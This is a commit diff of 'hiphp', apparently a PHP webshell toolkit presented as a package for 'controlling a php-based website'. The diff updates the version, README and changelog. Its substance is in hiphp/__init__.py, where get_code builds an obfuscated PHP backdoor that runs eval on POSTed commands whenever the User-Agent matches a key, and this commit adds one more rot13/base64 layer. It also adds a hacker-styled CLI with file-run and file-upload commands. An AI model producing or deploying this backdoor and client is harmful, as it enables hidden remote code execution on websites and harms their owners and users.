Projects STRLCPY hiphp Commits c9b1d006
🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■
    LICENSE
    1 1  MIT License
    2  -
    3 2  Copyright © 2008->Present, Yasser Bdj (Boudjada Yasser).
    4  -
    5 3  Permission is hereby granted, free of charge, to any person obtaining a copy
    6 4  of this software and associated documentation files (the "Software"), to deal
    7 5  in the Software without restriction, including without limitation the rights
    8 6  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    9 7  copies of the Software, and to permit persons to whom the Software is
    10 8  furnished to do so, subject to the following conditions:
    11  -
    12 9  The above copyright notice and this permission notice shall be included in all
    13 10  copies or substantial portions of the Software.
    14  -
    15 11  You also agree that if you become very rich you will give me 1% of your wealth.
    16  -
    17 12  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    18 13  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    19 14  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    skipped 4 lines
  • ■ ■ ■ ■ ■ ■
    README.md
    1 1  
     2 +<p align="center"><img align="center" src="https://raw.githubusercontent.com/yasserbdj96/hiphp/main/screenshot/screenshot.png"></p>
    2 3  <h1>hiphp for control php websites.</h1>
    3 4  
    4 5  <p>A package for controlling a php-based website.</p>
    skipped 1 lines
    6 7  <h2>Installation:</h2>
    7 8  
    8 9  ```
    9  -pip install hiphp==0.1.10
     10 +pip install hiphp==0.1.11
    10 11  ```
    11 12  
    12 13  <h2>Usage:</h2>
    skipped 88 lines
    101 102  <h2>Changelog:</h2>
    102 103  
    103 104  ```
     105 +## 0.1.11
     106 + - Command interface update.
     107 + - Bug fixes & performance improvements.
    104 108  ## 0.1.10
    105  -- Fix Bugs.
     109 + - Fix Bugs.
    106 110  ## 0.1.9
    107 111   - fix bugs.
    108 112  
    skipped 35 lines
    144 148  <h1></h1>
    145 149  
    146 150  <p align="center">
    147  - <a href="https://www.linkedin.com/in/yasserbdj96" align="center"><img align="center" alt="linkedin" src="https://img.shields.io/badge/-LinkedIn-0e76a8?style=flat-square&logo=Linkedin&logoColor=white"></a>
    148  - <a href="https://yasserbdj96.github.io" align="center"><img align="center" alt="website" src="https://img.shields.io/badge/Website-3b5998?style=flat-square&logo=google-chrome&logoColor=white"></a>
    149  - <a href="https://twitter.com/yasserbdj96" align="center"><img align="center" alt="twitter" src="https://img.shields.io/badge/-Twitter-00acee?style=flat-square&logo=Twitter&logoColor=white"></a>
    150  - <a href="https://www.instagram.com/yasserbdj96" align="center"><img align="center" alt="instagram" src="https://img.shields.io/badge/-Instagram-e4405f?style=flat-square&logo=Instagram&logoColor=white"></a>
    151  - <a href="https://www.facebook.com/yasserbdj96" align="center"><img align="center" alt="facebook" src="https://img.shields.io/badge/-facebook-0088cc?style=flat-square&logo=facebook&logoColor=white"></a>
    152  - <a href="https://www.youtube.com/channel/UC53dtKxc84BNPyDb51rtRPg" align="center"><img align="center" alt="youtube" src="https://img.shields.io/badge/-youtube-ea4335?style=flat-square&logo=youtube&logoColor=white"></a>
    153  - <a href="https://pypi.org/user/yasserbdj96" align="center"><img align="center" alt="pypi" src="https://img.shields.io/badge/-pypi-efeeea?style=flat-square&logo=pypi"></a>
     151 + <a href="https://yasserbdj96.github.io" align="center"><img align="center" alt="Website" src="https://img.shields.io/badge/Website-3b5998?style=flat-square&logo=google-chrome&logoColor=white"></a>
     152 + <a href="https://www.linkedin.com/in/yasserbdj96" align="center"><img align="center" alt="LinkedIn" src="https://img.shields.io/badge/-LinkedIn-0e76a8?style=flat-square&logo=Linkedin&logoColor=white"></a>
     153 + <a href="https://twitter.com/yasserbdj96" align="center"><img align="center" alt="Twitter" src="https://img.shields.io/badge/-Twitter-00acee?style=flat-square&logo=Twitter&logoColor=white"></a>
     154 + <a href="https://www.instagram.com/yasserbdj96" align="center"><img align="center" alt="Instagram" src="https://img.shields.io/badge/-Instagram-e4405f?style=flat-square&logo=Instagram&logoColor=white"></a>
     155 + <a href="https://www.facebook.com/yasserbdj96" align="center"><img align="center" alt="Facebook" src="https://img.shields.io/badge/-Facebook-0088cc?style=flat-square&logo=facebook&logoColor=white"></a>
     156 + <a href="https://www.youtube.com/channel/UC53dtKxc84BNPyDb51rtRPg" align="center"><img align="center" alt="Youtube" src="https://img.shields.io/badge/-Youtube-ea4335?style=flat-square&logo=youtube&logoColor=white"></a>
     157 + <a href="https://pypi.org/user/yasserbdj96" align="center"><img align="center" alt="Pypi" src="https://img.shields.io/badge/-Pypi-efeeea?style=flat-square&logo=pypi"></a>
     158 + <a href="mailto:[email protected]" align="center"><img align="center" alt="Gmail" src="https://img.shields.io/badge/[email protected]?style=flat-square&logo=Gmail&logoColor=white&link=mailto:[email protected]"></a>
    154 159  </p>
    155 160  
    156 161  <p align="center">
    skipped 7 lines
    164 169   </a>
    165 170  </p>
    166 171  
    167  -<div align="center">
    168  - <a href="https://yasserbdj96.github.io"><img alt="yasserbdj96" height="100" src="https://raw.githubusercontent.com/yasserbdj96/yasserbdj96/main/images/yasserbdj96.png"></a>
    169  - <br>
    170  - <a href="https://github.com/yasserbdj96/" align="center"><img align="center" alt="" src="https://visitor-badge.laobi.icu/badge?page_id=yasserbdj96.hiphp"></a>
    171  -</div>
     172 +<p align="center">
     173 + <a align="center" href="https://yasserbdj96.github.io">
     174 + <img align="center" alt="yasserbdj96" height="100" src="https://raw.githubusercontent.com/yasserbdj96/yasserbdj96/main/images/yasserbdj96.png">
     175 + </a>
     176 + <br>
     177 + <a align="center" href="https://github.com/yasserbdj96/" align="center">
     178 + <img align="center" alt="" src="https://visitor-badge.laobi.icu/badge?page_id=yasserbdj96.hiphp">
     179 + </a>
     180 +</p>
    172 181   
  • ■ ■ ■ ■
    changelog.txt
     1 +## 0.1.11
     2 + - Command interface update.
     3 + - Bug fixes & performance improvements.
    1 4  ## 0.1.10
    2  -- Fix Bugs.
     5 + - Fix Bugs.
    3 6  ## 0.1.9
    4 7   - fix bugs.
    5 8  
    skipped 33 lines
  • ■ ■ ■ ■ ■
    hiphp/__init__.py
    skipped 5 lines
    6 6  # USAGE :
    7 7  #s
    8 8  from hiphp import hiphp
    9  -
    10 9  p1=hiphp("<PASSWORD>","<http://THE/LINK/TO/THE/PHP/FILE/THAT/CONTAINS/THE/HIPHP/ID>",False) #In order to print the result directly.
    11 10  #p1=hiphp("<PASSWORD>","<http://THE/LINK/TO/THE/PHP/FILE/THAT/CONTAINS/THE/HIPHP/ID>") #In order to make the result as a variable.
    12 11  print(p1.get_code()) #Get HIPHP ID for first use.
    skipped 8 lines
    21 20  # EXAMPLES :
    22 21  #s
    23 22  from hiphp import hiphp
    24  -
    25 23  p1=hiphp("123","http://localhost/index.php",False)
    26 24  
    27 25  # Example:1
    skipped 7 lines
    35 33  '''
    36 34  # Copy this code into the file whose path you entered earlier.
    37 35  # for example: https://localhost/index.php
    38  -
    39 36  
    40 37  # Example:2
    41 38  # Command:
    skipped 58 lines
    100 97  ##################################################################
    101 98  # CHANGELOG :
    102 99  #s
     100 +## 0.1.11
     101 + - Command interface update.
     102 + - Bug fixes & performance improvements.
     103 +
    103 104  ## 0.1.10
    104  -- Fix Bugs.
     105 + - Fix Bugs.
    105 106  
    106 107  ## 0.1.9
    107 108   - fix bugs.
    skipped 34 lines
    142 143  ##################################################################
    143 144  """
    144 145  # VALUES :
    145  -__version__="0.1.10"
     146 +__version__="0.1.11"
    146 147  __name__="hiphp"
    147 148  __author__="Yasser Bdj (Boudjada Yasser)"
    148 149  __author_email__="[email protected]"
    skipped 10 lines
    159 160  __license__='MIT License'
    160 161  __copyright__='Copyright © 2008->Present, '+__author__+"."
    161 162  __license_text__=f'''MIT License
    162  -
    163 163  {__copyright__}
    164  -
    165 164  Permission is hereby granted, free of charge, to any person obtaining a copy
    166 165  of this software and associated documentation files (the "Software"), to deal
    167 166  in the Software without restriction, including without limitation the rights
    168 167  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    169 168  copies of the Software, and to permit persons to whom the Software is
    170 169  furnished to do so, subject to the following conditions:
    171  -
    172 170  The above copyright notice and this permission notice shall be included in all
    173 171  copies or substantial portions of the Software.
    174  -
    175 172  You also agree that if you become very rich you will give me 1% of your wealth.
    176  -
    177 173  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    178 174  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    179 175  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    skipped 9 lines
    189 185  exec(pipincluder("import requests",
    190 186   "from ashar import ashar",
    191 187   "from hexor import hexor",
    192  - "import re,base64,os").modules())
     188 + "import re,base64,os",
     189 + "import yasserbdj96").modules())
    193 190  
    194 191  #start hiphp class:
    195 192  class hiphp:
    196 193   #__init__:
    197 194   def __init__(self,key,url,returns=True):
     195 + self.pp=key
    198 196   self.key=ashar(key,key).encode()
    199 197   self.url=url
    200 198   self.headers={'User-Agent':self.key}
    skipped 8 lines
    209 207   else:
    210 208   hiphp.do(self.url,self.headers,command,self.returns)
    211 209  
     210 + #logo:
     211 + def logo(self):
     212 + p1=hexor(True,"hex")
     213 + p2=hexor(False,"hex")
     214 +
     215 + logo="""
     216 + ██╗ ██╗██╗██████╗ ██╗ ██╗██████╗
     217 + ██║ ██║██║██╔══██╗██║ ██║██╔══██╗
     218 + ███████║██║██████╔╝███████║██████╔╝
     219 + ██╔══██║██║██╔═══╝ ██╔══██║██╔═══╝
     220 + ██║ ██║██║██║ ██║ ██║██║
     221 + ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝ ╚═╝╚═╝"""
     222 +
     223 + s=[]
     224 + arr=["╦:::#7e4367","╚:::#7e4367","╝:::#7e4367","╩:::#7e4367","╔:::#7e4367","╗:::#7e4367","╠:::#7e4367","═:::#7e4367","║:::#7e4367",
     225 + "╣:::#7e4367","█:::#db61a2"]
     226 + for i in range(len(arr)):
     227 + s.append(p1.c(arr[i].split(":::")[0],arr[i].split(":::")[1]))
     228 + logo=logo.replace(arr[i].split(":::")[0],s[i])
     229 +
     230 + print(logo)
     231 + print(yasserbdj96.about(__version__))
     232 + print("\n")
     233 +
     234 + s1=p1.c("[","#db61a2")
     235 + s2=p1.c("*","#7e4367")
     236 + s3=p1.c("*","#db61a2")
     237 + s4=p1.c("]","#db61a2")
     238 + print(s1+s2+s3+s2+s4+p1.c(f" Contacting to '{self.url}' ........","#f7df1e")+p1.c("[done!]","#94c856"))
     239 +
     240 + print("\n")
     241 + p2.c(" - You are now connected safety. You can print the PHP commands below for comprehensive control of the site.","#db61a2")
     242 + p2.c(" - If you are having difficulties controlling the program, you can type '--help'","#f34f29")
     243 + p2.c(" - Ctrl+C for exit :)","#f34f29")
     244 +
     245 + print("\n")
     246 +
    212 247   #cli:
    213  - def cli(self):
    214  - command=input('hiphp>>>')
     248 + def cli(self,see=True):
     249 + p1=hexor(True,"hex")
     250 + if see==True:
     251 + hiphp.logo(self)
     252 + if os.name == 'nt':
     253 + ch="@"
     254 + else:
     255 + ch="💀"
     256 +
     257 + p=hiphp(self.pp,self.url,True).run("echo getcwd();")
     258 + print("┌──("+p1.c(f'hiphp{ch}{self.url}',"#db61a2")+f")──[{p1.c(p,'#db61a2')}]")
     259 + command=input("└─>")
    215 260   if command:
    216  - hiphp.do(self.url,self.headers,command,self.returns)
     261 + if command=="--help":
     262 + print("-rf <PHP_CODE_FILE_PATH> | # Run a code or line in your website from a file.")
     263 + print("-up <THE_PATH_OF_THE_FILE_TO_BE_UPLOADED> | # Upload a file to the server hosting the site.")
     264 + print("-up <FILE_PATH> ./<THE_PATH_YOU_WANT_TO_UPLOAD_THE_FILE_TO>")
     265 + elif command[0:3]=="-rf":
     266 + hiphp.run_file(self,command[4:len(command)])
     267 + elif command[0:3]=="-up":
     268 + try:
     269 + file,to=command[4:len(command)].split(" ")
     270 + hiphp.upload(self,file,to)
     271 + except:
     272 + hiphp.upload(self,command[4:len(command)])
     273 + elif command[0:3]=="-gc":
     274 + print(hiphp.get_code(self))
     275 + else:
     276 + hiphp.do(self.url,self.headers,command,self.returns)
    217 277   else:
    218 278   print(p1.c("Command not found!","#ff5b3c"))
    219  - hiphp.cli(self)
     279 + hiphp.cli(self,False)
    220 280  
    221 281   #run_file:
    222 282   def run_file(self,file,*opts):
    skipped 24 lines
    247 307   hiphp.run(self,f'Fwrite(fopen("{to+os.path.basename(path_to_upluad)}","w+"),base64_decode("{encoded_string.decode("utf-8")}"));')
    248 308   except:
    249 309   self.print.c(f"We could not read the file {path_to_upluad}","#ff5b3c")
     310 +
    250 311   #do:
    251 312   def do(url,headers,command,returns):
    252 313   response=requests.post(url,headers=headers)
    skipped 31 lines
    284 345   def get_code(self):
    285 346   code="if($_SERVER['HTTP_USER_AGENT']=='"+self.key+"'){echo'#python';if(isset($_POST['command'])){eval($_POST['command']);}exit;}"
    286 347   code=hiphp.rot13(code)
     348 + code=ashar.tob64(code)
    287 349   code=hiphp.rot13(code)
    288 350   code=ashar.tob64(code)
    289 351   code=hiphp.rot13(code)
    290  - code=ashar.tob64(code)
    291  - code=f"eval(str_rot13(base64_decode(str_rot13(base64_decode('{code}')))));"
     352 + code=f"eval(str_rot13(base64_decode(str_rot13(base64_decode(str_rot13('{code}'))))));"
     353 +
    292 354   return self.print2.c("/*php code start*/\n","#31ad22")+self.print2.c(code,"#539bf5")+self.print2.c("\n/*php code end*/","#31ad22")
    293 355  #e
  • ■ ■ ■ ■
    setup.py
    1 1  from setuptools import setup,find_packages
    2 2  setup(
    3 3   name="hiphp",
    4  - version="0.1.10",
     4 + version="0.1.11",
    5 5   author="Yasser Bdj (Boudjada Yasser)",
    6 6   author_email="[email protected]",
    7 7   description='''A package for controlling a php-based website.''',
    skipped 24 lines
  • ■ ■ ■ ■
    version.txt
    1  -0.1.10
     1 +0.1.11
Please wait...
Page is in error, reload to recover